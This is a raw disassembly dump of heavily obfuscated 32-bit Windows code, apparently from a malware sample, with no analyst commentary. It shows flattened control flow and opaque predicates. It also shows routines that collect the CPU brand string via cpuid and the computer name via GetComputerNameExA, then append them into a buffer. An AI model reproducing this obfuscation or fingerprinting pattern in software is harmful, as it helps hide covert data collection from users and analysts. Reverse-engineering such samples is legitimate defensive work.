add esp, 8
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov dword [esi + 0x1a4], eax
mov dword [esi + 4], 0x63338662
jmp 0x439de4
mov eax, dword [esi + 0x174]
mov byte [eax], 0
mov dword [esi + 4], 0x58d1342e
jmp 0x439de4
mov eax, dword [esi + 0x14]
add eax, 0x24
mov dword [esi + 0x1e4], eax
mov dword [esi + 4], 0x742fe649
jmp 0x439de4
imul ebx, dword [esi + 8], 0xaaa000
add ebx, 0x71f8e033
mov dword [esi + 8], ebx
push ebx
push 0x5349
push 0x5480
call fcn.0042a26c
add esp, 0xc
push ebx
call fcn.00439dcc
add esp, 4
mov eax, 0x33f31bd9
cmp ebx, 0x94
jb 0x43c9ea
mov eax, 0x6894e65e
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0x170]
mov word [eax], 0xa
mov eax, dword [esi + 0x4c]
mov dword [esi + 4], 0xeba808fb
jmp 0x439de4
mov ebx, dword [esi + 8]
shl ebx, 0x10
add ebx, 0xffffb7f2
mov dword [esi + 8], ebx
push 0x2c0b
push ebx
push 0x46a0
call fcn.0042a26c
add esp, 0xc
push 0x6f7
push 0x1a06
push ebx
push 0x2ae
call fcn.0043ec70
add esp, 0x10
mov dword [esi + 4], 0x887d932f
jmp 0x439de4
push dword [esi + 0x68]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
mov eax, dword [esi + 0x20]
add eax, 0x24
push eax
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0xca68a4bb
jmp 0x439de4
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x1e8]
mov dword [esi + 0x1ec], eax
mov dword [esi + 4], 0xdbb284e8
jmp 0x439de4
mov eax, dword [esi + 8]
lea eax, [eax + eax*4]
shl eax, 4
add eax, 0xffffff8b
shr eax, 0xb
add eax, 0xfffffea1
mov dword [esi + 8], eax
mov ecx, 0xd19c6e24
cmp eax, 0x3a
je 0x43cad3
mov ecx, 0x8a09f1a1
mov dword [esi + 4], ecx
jmp 0x439de4
mov eax, dword [esi + 8]
lea edi, [eax*8 + 0x1f7]
mov dword [esi + 8], edi
push 0x745
push edi
push 0x5e1c
push 0x2b80
call fcn.0043eb40
add esp, 0x10
mov eax, 0x544a648a
cmp edi, 0x57
jb 0x43cb0f
mov eax, 0x87e8b295
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0xc]
and eax, 0xfffffff8
imul eax, eax, 0x230
or eax, 0x10
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xf9579f9
jmp 0x439de4
mov ecx, dword [esi + 0xc]
imul eax, ecx, 0x83
imul eax, eax
imul edx, eax, 0x6ffd
dec edx
imul ecx, ecx, 0x20c000
add ecx, 0xffd7c000
shr ecx, 6
mov dword [esi + 0xc], ecx
mov ecx, 0xa733cc37
cmp eax, edx
je 0x43cb68
mov ecx, 0x42bd2fc1
mov dword [esi + 4], ecx
jmp 0x439de4
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x15c]
mov dword [esi + 0x160], eax
mov dword [esi + 4], 0xe5dfa1d0
jmp 0x439de4
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x30], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x34], eax
push eax
mov eax, esp
mov dword [esi + 0x18], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x38], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x3c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x40], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x44], eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x4c], eax
mov dword [esi + 4], 0x73342376
jmp 0x439de4
mov eax, dword [esi + 0xc]
shl eax, 3
and eax, 0x3fffff8
mov ecx, eax
shl ecx, 5
add eax, ecx
add eax, 0x3d
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x85feac09
jmp 0x439de4
mov eax, dword [esi + 0x180]
mov eax, dword [eax]
mov dword [esi + 0x184], eax
mov eax, dword [esi + 0x1c]
mov eax, dword [eax]
mov dword [esi + 0x188], eax
mov eax, dword [esi + 0x178]
mov eax, dword [eax*4 + 0x47b110]
mov dword [esi + 0x18c], eax
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xac], eax
mov eax, dword [esi + 0xac]
mov byte [eax + 0xd], 0
mov dword [esi + 4], 0x10e51950
jmp 0x439de4
mov ebx, dword [esi + 8]
mov edi, ebx
shr edi, 9
mov dword [esi + 8], edi
push edi
push 0x1b21
push 0x2db8
call fcn.0042a26c
add esp, 0xc
push edi
push 0x97
push 0x29df
push 0x1c23
call fcn.0043eb40
add esp, 0x10
mov eax, 0x34264d8d
cmp ebx, 0x9e00
jae 0x43cca4
mov eax, 0x2c2e24d9
mov dword [esi + 4], eax
jmp 0x439de4
imul ecx, dword [esi + 8], 0x7a
add ecx, 0xffffff73
shr ecx, 7
add ecx, 0xffffff8a
mov dword [esi + 8], ecx
mov eax, 0x8f1e0318
cmp ecx, 0xa4
jae 0x43ccd1
mov eax, 0xab29176d
mov dword [esi + 4], eax
jmp 0x439de4
add dword [esi + 8], 0xffffff50
mov dword [esi + 4], 0x3e11c0be
jmp 0x439de4
imul ebx, dword [esi + 8], 0xe9
add ebx, 0xa3
mov dword [esi + 8], ebx
push 0x6119
push 0x2388
push ebx
call fcn.0042a26c
add esp, 0xc
push ebx
push 0x2145
push 0x508
push 0x3516
call fcn.0043eb40
add esp, 0x10
mov eax, 0x48c37501
cmp ebx, 0xd
jge 0x43cd36
mov eax, 0x3e11c0be
mov dword [esi + 4], eax
jmp 0x439de4
mov dword [esi + 4], 0x48ef760
jmp 0x439de4
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x100], eax
mov eax, dword [esi + 0x100]
mov word [eax + 0x14], 0
push 0x14
push 0x46ef90
push dword [esi + 0x100]
call fcn.00447850
add esp, 0xc
mov dword [esi + 4], 0xeff2e948
jmp 0x439de4
imul ecx, dword [esi + 8], 0x7280
add ecx, 0xffd7bf00
mov eax, ecx
shr eax, 9
mov dword [esi + 8], eax
mov eax, 0xb5ce3146
cmp ecx, 0x16600
jae 0x43cdaa
mov eax, 0xcca0ae10
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0xc]
shl eax, 0xa
add eax, 0xffffff2c
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x89ecbea8
jmp 0x439de4
mov ebx, dword [esi + 8]
mov eax, 0xc7
add ebx, eax
mov edi, ebx
shr edi, 2
mov dword [esi + 8], edi
push edi
call fcn.00439dcc
add esp, 4
push edi
call fcn.00439dcc
add esp, 4
mov eax, 0xc693a5f4
cmp ebx, 0x36c
jb 0x43ce02
mov eax, 0x296a30b4
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0xc0]
mov ecx, dword [0x47b282]
mov dword [eax + 8], ecx
mov ecx, dword [0x47b27e]
mov dword [eax + 4], ecx
mov ecx, dword [0x47b27a]
mov dword [eax], ecx
mov dword [esi + 4], 0xf1b064c1
jmp 0x439de4
mov dword [esi + 4], 0xb76d1135
jmp 0x439de4
mov eax, dword [esi + 0xc]
shr eax, 0xe
mov ecx, eax
shl ecx, 9
imul eax, eax
imul edx, eax, 0x62bd
dec edx
add ecx, 0x1c8e
mov dword [esi + 0xc], ecx
mov ecx, 0x44a5b3ed
cmp edx, eax
je 0x43ce6e
mov ecx, 0x30648f0b
mov dword [esi + 4], ecx
jmp 0x439de4
mov eax, dword [esi + 0x24]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
mov dword [esi + 4], 0x1fe1638
jmp 0x439de4
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xc4]
mov ecx, dword [esi + 0xc8]
mov dword [esi + 0x1ac], eax
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc8]
mov dword [esi + 0x1b0], eax
mov dword [esi + 4], 0x6b2ca038
jmp 0x439de4
mov eax, dword [esi + 0x138]
mov byte [eax], 0
mov edi, 0xf
push edi
push 0x47b14c
push dword [esi + 0x80]
call fcn.00447850
add esp, 0xc
push 8
push 0x47b15b
push edi
push dword [esi + 0x80]
call fcn.0043ec70
add esp, 0x10
mov eax, dword [esi + 0x134]
mov ecx, dword [esi + 0x80]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x9ec4daa9
jmp 0x439de4
push 6
push 0x47b1a2
push 8
push dword [esi + 0x98]
call fcn.0043ec70
add esp, 0x10
mov eax, dword [esi + 0x30]
mov ecx, dword [esi + 0x98]
mov dl, byte [ecx + 8]
mov byte [eax + 8], dl
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x30]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
mov dword [esi + 4], 0xa7992a69
jmp 0x439de4
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x50], eax
mov dword [esi + 4], 0xe5acd740
jmp 0x439de4
mov eax, dword [esi + 0xc]
add eax, 0x19
shr eax, 1
add eax, 0xa4
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x6ea9
dec edx
mov eax, 0x5ce1c3eb
cmp edx, ecx
je 0x43cfc3
mov eax, 0x4859d937
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1d4]
mov dword [eax + 0x20], ecx
mov dword [esi + 4], 0xb2e4f7c0
jmp 0x439de4
mov eax, dword [esi + 0x58]
mov ecx, dword [esi + 0xb4]
mov dl, byte [ecx + 8]
mov byte [eax + 8], dl
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x58]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
call fcn.0042994f
mov dword [esi + 0x198], eax
mov dword [esi + 4], 0xe34bf198
jmp 0x439de4
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xd8]
mov dword [esi + 0x1c4], eax
mov dword [esi + 4], 0x63ec7fa0
jmp 0x439de4
mov eax, dword [esi + 8]
shl eax, 0xd
add eax, 0x1660be
mov dword [esi + 8], eax
push 0x2a95
push eax
push 0x6023
push 0x2a63
call fcn.0043ec70
add esp, 0x10
mov dword [esi + 4], 0xc54b6276
jmp 0x439de4
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
mov dword [esi + 4], 0xebcb402f
jmp 0x439de4
mov eax, dword [esi + 0x94]
mov byte [eax + 6], 0
mov eax, dword [esi + 0x94]
movzx ecx, word [0x47b194]
mov word [eax + 4], cx
mov ecx, dword [0x47b190]
mov dword [eax], ecx
push 4
push 0x47b196
push 6
push dword [esi + 0x94]
call fcn.0043ec70
add esp, 0x10
mov eax, dword [esi + 0x28]
mov ecx, dword [esi + 0x94]
mov edx, dword [ecx]
mov ecx, dword [ecx + 3]
mov dword [eax + 3], ecx
mov dword [eax], edx
push dword [esi + 0x28]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x10c]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
mov dword [esi + 4], 0x846455cb
jmp 0x439de4
mov eax, dword [esi + 8]
shl eax, 0xf
add eax, 0x1cc68
mov dword [esi + 8], eax
call fcn.00408d96
call fcn.00408d96
mov dword [esi + 4], 0xfb24f015
jmp 0x439de4
mov edi, dword [esi + 8]
mov eax, 0xf3
add edi, eax
mov dword [esi + 8], edi
push edi
call fcn.00439dcc
add esp, 4
mov eax, 0x3b651110
cmp edi, 0xae
jae 0x43d156
mov eax, 0x2d075e91
mov dword [esi + 4], eax
jmp 0x439de4
push 1
push 0x41
call fcn.00457663
add esp, 8
mov dword [esi + 0x14], eax
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0xc4], eax
mov dword [esi + 0xc8], ebx
mov dword [esi + 0xcc], ecx
mov dword [esi + 0xd0], edx
mov dword [esi + 4], 0x5511d7ab
jmp 0x439de4
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x134], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x80], eax
mov dword [esi + 4], 0x41d92439
jmp 0x439de4
mov ebx, dword [esi + 8]
shl ebx, 0xe
and ebx, 0x1ffc000
or ebx, 0x3f
mov dword [esi + 8], ebx
call fcn.00408d96
mov eax, 0x1300cda0
cmp ebx, 0xb7
jae 0x43d1ee
mov eax, 0xd7f59a15
mov dword [esi + 4], eax
jmp 0x439de4
imul ecx, dword [esi + 8], 0x6320
add ecx, 0x4168
mov eax, ecx
shr eax, 7
mov dword [esi + 8], eax
mov eax, 0xe0f47d0b
cmp ecx, 0x4d80
jb 0x43d21d
mov eax, 0x48c37501
mov dword [esi + 4], eax
jmp 0x439de4
mov dword [esi + 4], 0x74984231
jmp 0x439de4
imul ebx, dword [esi + 8], 0x26
add ebx, 0xffffff9d
shr ebx, 7
add ebx, 0xffffff4a
mov dword [esi + 8], ebx
push 0x4b1a
push 0x25d5
push ebx
call fcn.0042a26c
add esp, 0xc
call fcn.00408d96
mov eax, 0x4e2f86ef
cmp ebx, 0xde
je 0x43d26e
mov eax, 0x892dc24b
mov dword [esi + 4], eax
jmp 0x439de4
imul eax, dword [esi + 0xc], 0x680000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xadca8570
jmp 0x439de4
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x16c]
mov dword [esi + 0x170], eax
mov dword [esi + 4], 0x7b8d484e
jmp 0x439de4
push dword [esi + 0x110]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov dword [esi + 0x15c], eax
mov dword [esi + 4], 0x1335be38
jmp 0x439de4
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0x9d83e824
jmp 0x439de4
push 0xa
push dword [esi + 0x108]
push dword [esi + 0x130]
call fcn.00455cb8
add esp, 0xc
push 1
push 0x4000
call fcn.00457663
add esp, 8
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0x8a50d471
jmp 0x439de4
mov ecx, dword [esi + 8]
shl ecx, 0x16
mov eax, 0xbc179828
add ecx, 0x3c000000
mov dword [esi + 8], ecx
je 0x43d344
mov eax, 0x8cbc9033
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0x70]
mov dword [eax], 0xa424d
push dword [esi + 0x70]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
mov eax, dword [esi + 0x74]
mov dword [esi + 4], 0xb231cbe5
jmp 0x439de4
mov edi, dword [esi + 8]
shl edi, 0xf
or edi, 0x6b
mov dword [esi + 8], edi
push edi
call fcn.00439dcc
add esp, 4
push edi
call fcn.00439dcc
add esp, 4
mov dword [esi + 4], 0x8d4b6c74
jmp 0x439de4
mov eax, dword [esi + 0x40]
mov ecx, dword [esi + 0xa0]
movzx edx, word [ecx + 0xc]
mov word [eax + 0xc], dx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0xaf90a898
jmp 0x439de4
mov ecx, dword [esi + 0xc]
shr ecx, 6
lea eax, [ecx + ecx*8]
lea eax, [eax + eax*2]
imul eax, eax
imul edx, eax, 0x1c93
dec edx
imul ecx, ecx, 0x5b6bf000
add ecx, 0xffffa70e
mov dword [esi + 0xc], ecx
mov ecx, 0x35597866
cmp eax, edx
je 0x43d3fc
mov ecx, 0x5c57845f
mov dword [esi + 4], ecx
jmp 0x439de4
mov eax, dword [esi + 0xc]
shr eax, 3
and eax, 0xfffffff
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x24c4ac5f
jmp 0x439de4
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x18]
mov dword [esi + 4], 0xf0d7feb
jmp 0x439de4
mov dword [esi + 4], 0x33dd17fb
jmp 0x439de4
mov dword [esi + 4], 0xfb727085
jmp 0x439de4
mov eax, dword [esi + 0xc]
shr eax, 1
and eax, 0xfffffffc
lea eax, [eax + eax*2]
shr eax, 6
add eax, 0xffffffa3
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xc6c0286
jmp 0x439de4
push eax
sub esp, 0x1a4
mov eax, esp
mov dword [esi + 0x20], eax
mov dword [esi + 4], 0xac5fe779
jmp 0x439de4
mov eax, dword [esi + 8]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*2]
add ecx, 0x929
mov eax, ecx
shr eax, 8
mov dword [esi + 8], eax
mov eax, 0xa9dcb452
cmp ecx, 0xd700
jb 0x43d4ac
mov eax, 0x69b6f6d0
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0xa4]
add eax, 0x1b
mov dword [esi + 0x168], eax
mov dword [esi + 4], 0xd2b4bc12
jmp 0x439de4
mov dword [esi + 4], 0x6085343c
jmp 0x439de4
imul eax, dword [esi + 8], 0x19c0000
add eax, 0x8f740000
mov ebx, 0x99afacd4
and eax, 0xfc000000
mov dword [esi + 8], eax
je 0x43d4fb
mov ebx, 0x48c37501
push eax
push 0x934
push 0xa96
call fcn.0042a26c
add esp, 0xc
mov dword [esi + 4], ebx
jmp 0x439de4
mov eax, dword [esi + 8]
shl eax, 9
add eax, 0xffffffdc
mov dword [esi + 8], eax
mov dword [esi + 4], 0x9421147a
jmp 0x439de4
mov ecx, dword [esi + 0xc]
lea eax, [ecx - 0x5e]
imul eax, eax
imul edx, eax, 0x283b
dec edx
imul ecx, ecx, 0xa3
add ecx, 0xffff8291
mov dword [esi + 0xc], ecx
mov ecx, 0x7b8d484e
cmp edx, eax
je 0x43d55b
mov ecx, 0x1e268163
mov dword [esi + 4], ecx
jmp 0x439de4
imul eax, dword [esi + 0xc], 0x61
shr eax, 8
imul ecx, eax, 0xe5
imul eax, eax
imul edx, eax, 0x707f
dec edx
add ecx, 0x7434
mov dword [esi + 0xc], ecx
mov ecx, 0xe0f47d0b
cmp edx, eax
je 0x43d591
mov ecx, 0x51bd2630
mov dword [esi + 4], ecx
jmp 0x439de4
mov eax, dword [esi + 8]
shr eax, 0xc
imul eax, eax, 0x53
mov dword [esi + 8], eax
mov dword [esi + 4], 0x44a8ae69
jmp 0x439de4
mov eax, dword [esi + 8]
shr eax, 0xa
imul ebx, eax, 0x7724
add ebx, 0xffff7014
mov dword [esi + 8], ebx
push 0x5ff0
push 0x2d19
push 0x27a1
push ebx
call fcn.0043eb40
add esp, 0x10
mov eax, 0x46d6d1cb
cmp ebx, 0x97
jae 0x43d5f0
mov eax, 0xd2b4bc12
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0xc]
shr eax, 1
imul eax, eax, 0x9c00
add eax, 0xffffff32
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x573d535a
jmp 0x439de4
mov eax, dword [esi + 0x12c]
mov word [eax], 0
push 0x14
push 0x46eec0
push dword [esi + 0x7c]
call fcn.00447850
add esp, 0xc
mov dword [esi + 4], 0xd9f4c74f
jmp 0x439de4
mov eax, dword [esi + 8]
shr eax, 2
imul ebx, eax, 0xf6
add ebx, 0xffff8f92
mov dword [esi + 8], ebx
push 0x2f01
push 0x397b
push 0x3eb4
push ebx
call fcn.0043ec70
add esp, 0x10
mov eax, 0xfb6f4167
cmp ebx, 0x9a
jb 0x43d67f
mov eax, 0x99afacd4
mov dword [esi + 4], eax
jmp 0x439de4
mov dword [esi + 4], 0xe9aedc9f
jmp 0x439de4
mov eax, dword [esi + 0xc]
shr eax, 9
and eax, 0x1fffff
add eax, 0x16f
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x15c1292f
jmp 0x439de4
mov eax, dword [esi + 0x24]
mov eax, dword [esi + 0x68]
mov dword [esi + 4], 0xe66bf2d
jmp 0x439de4
mov eax, dword [esi + 0x2c]
mov dword [esi + 4], 0xfb24f015
jmp 0x439de4
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0xfc], eax
mov eax, dword [esi + 0xfc]
mov byte [eax + 0x1d], 0
push 0x1d
push 0x47b2a0
push dword [esi + 0xfc]
call fcn.00447850
add esp, 0xc
mov dword [esi + 4], 0x91e0d370
jmp 0x439de4
mov eax, dword [esi + 0x20]
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x60]
mov dword [esi + 4], 0x1b1eb891
jmp 0x439de4
push dword [esi + 0x78]
push 0x3d95e230
call fcn.00442630
add esp, 8
push 0
call eax
mov dword [esi + 0x128], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x7c], eax
mov eax, dword [esi + 0x7c]
add eax, 0x14
mov dword [esi + 0x12c], eax
mov dword [esi + 4], 0xc1f8ed49
jmp 0x439de4
imul eax, dword [esi + 8], 0x1e0
shr eax, 0xc
add eax, 0xbf
mov dword [esi + 8], eax
mov dword [esi + 4], 0x937bbf6b
jmp 0x439de4
mov eax, dword [esi + 0x148]
xor ebx, ebx
mov byte [eax], bl
mov edi, 0xf
push edi
push 0x47b176
push dword [esi + 0x88]
call fcn.00447850
add esp, 0xc
push 7
push 0x47b185
push edi
push dword [esi + 0x88]
call fcn.0043ec70
add esp, 0x10
mov eax, dword [esi + 0x144]
mov ecx, dword [esi + 0x88]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push str.TWA896__prokamni
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x14c], eax
push eax
mov eax, esp
mov dword [esi + 0x8c], eax
mov eax, dword [esi + 0x8c]
mov byte [eax + 2], bl
mov eax, dword [esi + 0x8c]
movzx ecx, word [0x47b18c]
mov word [eax], cx
mov dword [esi + 4], 0x184b7ead
jmp 0x439de4
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x1a4]
mov word [eax + ecx], 0xa
push 2
push 0x55
call fcn.00457663
add esp, 8
mov dword [esi + 0x118], eax
mov dword [esi + 4], 0x11382793
jmp 0x439de4
mov ebx, dword [esi + 8]
add ebx, 0xffffffc0
mov dword [esi + 8], ebx
push ebx
call fcn.00439dcc
add esp, 4
push ebx
call fcn.00439dcc
add esp, 4
mov eax, 0xb70048b5
cmp ebx, 0x19
jb 0x43d87b
mov eax, 0x2d2ce308
mov dword [esi + 4], eax
jmp 0x439de4
mov ecx, dword [esi + 8]
shl ecx, 0x11
add ecx, 0xfb7c0000
mov eax, 0xbb90c67c
and ecx, 0xfffc0000
mov dword [esi + 8], ecx
je 0x43d8a4
mov eax, 0x23ed04b4
mov dword [esi + 4], eax
jmp 0x439de4
imul ecx, dword [esi + 8], 0x11200
add ecx, 0xffff72bb
mov dword [esi + 8], ecx
mov eax, 0x8cbc9033
cmp ecx, 0x47
jl 0x43d8cb
mov eax, 0x5963f80b
mov dword [esi + 4], eax
jmp 0x439de4
push dword [esi + 0x6c]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x120]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
mov dword [esi + 4], 0x5ef3a07c
jmp 0x439de4
mov eax, 0x80000003
xor ecx, ecx
cpuid
mov dword [esi + 0xd4], eax
mov dword [esi + 0xd8], ebx
mov dword [esi + 0xdc], ecx
mov dword [esi + 0xe0], edx
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xd4]
mov dword [esi + 0x1c0], eax
mov dword [esi + 4], 0xd3aab5a4
jmp 0x439de4
mov eax, dword [esi + 8]
shl eax, 0x15
mov edi, 0x18fafddd
add eax, 0xdcc00000
mov dword [esi + 8], eax
je 0x43d963
mov edi, 0x8a50d471
call fcn.00408d96
mov dword [esi + 4], edi
jmp 0x439de4
mov eax, dword [esi + 0xc]
shl eax, 5
add eax, 0xfffff99d
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xdb7dcd1f
jmp 0x439de4
mov eax, dword [esi + 0x90]
add eax, 0x18
mov dword [esi + 0x150], eax
mov dword [esi + 4], 0xe291ce19
jmp 0x439de4
mov eax, dword [esi + 0x168]
mov byte [eax], 0
mov edi, 0x1b
push edi
push 0x47b1d0
push dword [esi + 0xa4]
call fcn.00447850
add esp, 0xc
push 6
push 0x47b1eb
push edi
push dword [esi + 0xa4]
call fcn.0043ec70
add esp, 0x10
push 0x1c
push dword [esi + 0xa4]
push dword [esi + 0x48]
call fcn.00447850
add esp, 0xc
push dword [esi + 0x48]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
mov dword [esi + 4], 0x4c23bd11
jmp 0x439de4
mov eax, dword [esi + 0xac]
mov cl, byte [0x47b22a]
mov byte [eax + 0xc], cl
mov ecx, dword [0x47b226]
mov dword [eax + 8], ecx
mov ecx, dword [0x47b222]
mov dword [eax + 4], ecx
mov ecx, dword [0x47b21e]
mov dword [eax], ecx
push 5
push 0x47b22b
push 0xd
push dword [esi + 0xac]
call fcn.0043ec70
add esp, 0x10
push dword [esi + 0x17c]
push dword [esi + 0x184]
push dword [esi + 0x188]
push dword [esi + 0x18c]
push dword [esi + 0xac]
push 0x7ff
push dword [esi + 0x114]
call fcn.0042a26c
add esp, 0x1c
mov eax, dword [esi + 0x54]
mov dword [esi + 4], 0x26f2d5a5
jmp 0x439de4
mov eax, dword [esi + 0xc]
imul ecx, eax, 0xb1
imul ecx, ecx
imul edx, ecx, 0x54b5
dec edx
imul eax, eax, 0x162000
mov dword [esi + 0xc], eax
mov eax, 0xfff311e1
cmp ecx, edx
je 0x43dab4
mov eax, 0x5b5a33b4
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0xc]
add eax, 0x4a
shr eax, 4
imul ecx, eax, 0x9e
imul eax, eax
imul edx, eax, 0x2b
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x66d8f922
cmp eax, edx
je 0x43dae3
mov ecx, 0x2d2eb519
mov dword [esi + 4], ecx
jmp 0x439de4
imul eax, dword [esi + 0xc], 0x75b1
add eax, 0xffff4c0f
mov ecx, eax
shr ecx, 0xa
imul eax, eax
imul edx, eax, 0x81b1
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x8a50d471
cmp edx, eax
je 0x43db17
mov ecx, 0x5b16845c
mov dword [esi + 4], ecx
jmp 0x439de4
mov eax, 0x80000004
xor ecx, ecx
cpuid
mov dword [esi + 0xe4], eax
mov dword [esi + 0xe8], ebx
mov dword [esi + 0xec], ecx
mov dword [esi + 0xf0], edx
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xec]
mov eax, dword [esi + 0xf0]
mov eax, dword [esi + 0xe4]
mov dword [esi + 0x1d4], eax
mov eax, dword [esi + 0xec]
mov eax, dword [esi + 0xf0]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xe8]
mov dword [esi + 0x1d8], eax
mov dword [esi + 4], 0x9ce38987
jmp 0x439de4
push dword [esi + 0x44]
push dword [esi + 0x10]
call fcn.00458950
add esp, 8
push dword [esi + 0x10]
call fcn.00458b30
add esp, 4
mov dword [esi + 0x16c], eax
mov dword [esi + 4], 0xf80ef965
jmp 0x439de4
imul eax, dword [esi + 0xc], 0xfb
lea ecx, [eax - 0x4e]
imul eax, eax
shr ecx, 1
imul edx, eax, 0x61a9
dec edx
imul ecx, ecx, 0x83
add ecx, 0xfffff8d6
mov dword [esi + 0xc], ecx
mov ecx, 0xc8356203
cmp edx, eax
je 0x43dbe6
mov ecx, 0x1300cda0
mov dword [esi + 4], ecx
jmp 0x439de4
imul ebx, dword [esi + 8], 0x35
add ebx, 0x1765
mov dword [esi + 8], ebx
call fcn.00408d96
push ebx
call fcn.00439dcc
add esp, 4
mov eax, 0xa8fd1b9
cmp ebx, 0xd5
jl 0x43dc1b
mov eax, 0x24ae5f8a
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
mov dword [esi + 4], 0x5ed7de2e
jmp 0x439de4
imul ebx, dword [esi + 8], 0x34
add ebx, 0xffffff8d
mov dword [esi + 8], ebx
call fcn.00408d96
push ebx
call fcn.00439dcc
add esp, 4
mov eax, 0x8c69e346
cmp ebx, 0x34
jge 0x43dc5f
mov eax, 0x5511d7ab
mov dword [esi + 4], eax
jmp 0x439de4
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
push dword [esi + 0x18]
push dword [esi + 0x4c]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov eax, dword [esi + 0x50]
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xa8], eax
mov eax, dword [esi + 0xa8]
add eax, 0x17
mov dword [esi + 0x174], eax
mov dword [esi + 4], 0x1e4a00
